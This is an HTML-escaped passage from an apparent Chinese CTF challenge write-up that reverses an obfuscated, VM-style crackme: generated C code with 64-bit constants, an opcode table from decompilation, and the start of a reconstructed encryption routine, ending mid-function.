&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t&lt;&#x2F;span&gt;&lt;span&gt; v5&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;9042264754201427834&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ull&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t&lt;&#x2F;span&gt;&lt;span&gt; v6&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;13551094804195048963&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ull&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t&lt;&#x2F;span&gt;&lt;span&gt; v7&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;v5&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;v6;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t&lt;&#x2F;span&gt;&lt;span&gt; v8&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11953879495213237442&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ull&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    v8&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=~&lt;&#x2F;span&gt;&lt;span&gt;v8;
&lt;&#x2F;span&gt;&lt;span&gt;    v8&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=~&lt;&#x2F;span&gt;&lt;span&gt;v8;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t&lt;&#x2F;span&gt;&lt;span&gt; v9&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;6024959385228738588&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ull&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t&lt;&#x2F;span&gt;&lt;span&gt; v10&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;10110448519209335383&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ull&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t&lt;&#x2F;span&gt;&lt;span&gt; v11&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;v9&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;^&lt;&#x2F;span&gt;&lt;span&gt;v10;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t&lt;&#x2F;span&gt;&lt;span&gt; v12&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;18357748223165525310&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ull&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t&lt;&#x2F;span&gt;&lt;span&gt; v13&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;v11&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;v12;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t&lt;&#x2F;span&gt;&lt;span&gt; v14&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;v8&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;^&lt;&#x2F;span&gt;&lt;span&gt;v13;
&lt;&#x2F;span&gt;&lt;span&gt;    v14&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=~&lt;&#x2F;span&gt;&lt;span&gt;v14;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t&lt;&#x2F;span&gt;&lt;span&gt; v15&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;288301881189795841&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ull&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    v15&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=~&lt;&#x2F;span&gt;&lt;span&gt;v15;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t&lt;&#x2F;span&gt;&lt;span&gt; v16&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;8268870611111702486&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ull&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t&lt;&#x2F;span&gt;&lt;span&gt; v17&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;3955754985819470506&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ull&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t&lt;&#x2F;span&gt;&lt;span&gt; v18&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;v16&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;v17;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t&lt;&#x2F;span&gt;&lt;span&gt; v19&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;13807121416608770802&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ull&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t&lt;&#x2F;span&gt;&lt;span&gt; v20&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;v15&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;v19;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t&lt;&#x2F;span&gt;&lt;span&gt; v21&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;12157606309567720355&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ull&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t&lt;&#x2F;span&gt;&lt;span&gt; v22&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;5738683437199689134&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ull&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t&lt;&#x2F;span&gt;&lt;span&gt; v23&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;9508833155140800093&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ull&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t&lt;&#x2F;span&gt;&lt;span&gt; v24&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;v22&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt;v23;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t&lt;&#x2F;span&gt;&lt;span&gt; v25&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2318908854934060614&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ull&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t&lt;&#x2F;span&gt;&lt;span&gt; v26&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;15520974619213676469&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ull&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t&lt;&#x2F;span&gt;&lt;span&gt; v27&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;v25&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt;v26;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t&lt;&#x2F;span&gt;&lt;span&gt; v28&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11008240194628928020&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ull&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    v28&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=~&lt;&#x2F;span&gt;&lt;span&gt;v28;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t&lt;&#x2F;span&gt;&lt;span&gt; v29&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;v27&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;v28;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t&lt;&#x2F;span&gt;&lt;span&gt; v30&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;v24&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;v29;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t&lt;&#x2F;span&gt;&lt;span&gt; v31&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;13784270564178122628&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ull&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t&lt;&#x2F;span&gt;&lt;span&gt; v32&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1297940605539369143&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ull&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t&lt;&#x2F;span&gt;&lt;span&gt; v33&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;10325368571782404983&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ull&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t&lt;&#x2F;span&gt;&lt;span&gt; v34&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;v32&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;^&lt;&#x2F;span&gt;&lt;span&gt;v33;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t&lt;&#x2F;span&gt;&lt;span&gt; v35&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;13072036865594709985&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ull&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t&lt;&#x2F;span&gt;&lt;span&gt; v36&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;14411389371001456874&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ull&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t&lt;&#x2F;span&gt;&lt;span&gt; v37&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1733989214560846096&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ull&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t&lt;&#x2F;span&gt;&lt;span&gt; v38&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;3680308739910074691&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ull&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;...
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;通过&lt;code&gt;gcc&lt;&#x2F;code&gt;加上&lt;code&gt;-O3&lt;&#x2F;code&gt;参数编译，再通过逆向工具反编译，得到的结果如下&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;nothingchu-ti-si-lu-ji-wp&#x2F;index.assets&#x2F;image-20220728232623292.png&quot; alt=&quot;image-20220728232623292&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;观察这四段表达式，可以发现他们都在根据&lt;code&gt;R12&lt;&#x2F;code&gt;的低8位进行选择不同的功能。可以列得下表（具体数据每个附件不一样）：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: center&quot;&gt;R12&amp;amp;0xff&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: center&quot;&gt;R12&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: center&quot;&gt;R13&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: center&quot;&gt;R14&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: center&quot;&gt;R15&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;0&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;1&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;R13+11448659141604722329&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;R14&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;R15&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;1&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;1&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;R13&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;R14^(r13+6754348585825892801)^(r13&amp;gt;&amp;gt;30)^(r15&amp;lt;&amp;lt;24)&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;R15&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;2&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;1&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;R13&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;R15&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;R14&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;3&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;1&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;R13&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;R14^5050961714944838468&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;R15^17385842772293075248&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;4&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;R12&amp;gt;&amp;gt;8&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;R13&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;R14&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;R15&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;5&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;0&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;R13&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;R14&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;R15&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;6&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;r13 == 14610338879684656475 ? (r12 &amp;gt;&amp;gt; 8) : 2&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;R13&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;R14&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;R15&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;7&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;1&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;r14!=9785931681412827268 | r15!=6634550174467950632&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;R14&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;R15&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;根据逆向结果，发现每次都会取&lt;code&gt;v10+i&lt;&#x2F;code&gt;的地方的内容放入寄存器&lt;code&gt;r12&lt;&#x2F;code&gt;中，因此&lt;code&gt;v10&lt;&#x2F;code&gt;里面存的是是操作码。每次执行完后又会&lt;code&gt;i+=r12&lt;&#x2F;code&gt;，因此返回的&lt;code&gt;r12&lt;&#x2F;code&gt;是对应下一个操作码与当前的操作码的偏移。结合上表，4号功能是无条件转移，5号功能是结束运行，6号功能是条件跳转（条件是&lt;code&gt;r13 == 14610338879684656475&lt;&#x2F;code&gt;）。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;nothingchu-ti-si-lu-ji-wp&#x2F;image-20220627174024519.png&quot; alt=&quot;image-20220627174024519&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;根据这些信息，可以把加密过程写出如下代码。注意：每个不同的附件的下面常量都是不一样的。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;#include &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;lt;stdint.h&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;#define &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;XOR_NUM_A &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;5050961714944838468&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ull
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;#define &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;XOR_NUM_B &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;17385842772293075248&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ull
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;#define &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;DELTA_END &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;14610338879684656475&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ull
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;#define &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;DETLE     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11448659141604722329&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ull
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;#define &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;HASH_NUM  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;6754348585825892801&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ull
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;#define &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;RESULT_A  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;9785931681412827268&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ull
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;#define &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;RESULT_B  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;6634550174467950632&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ull
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;enc&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;num_a&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;num_b&lt;&#x2F;span&gt;&lt;span&gt;){
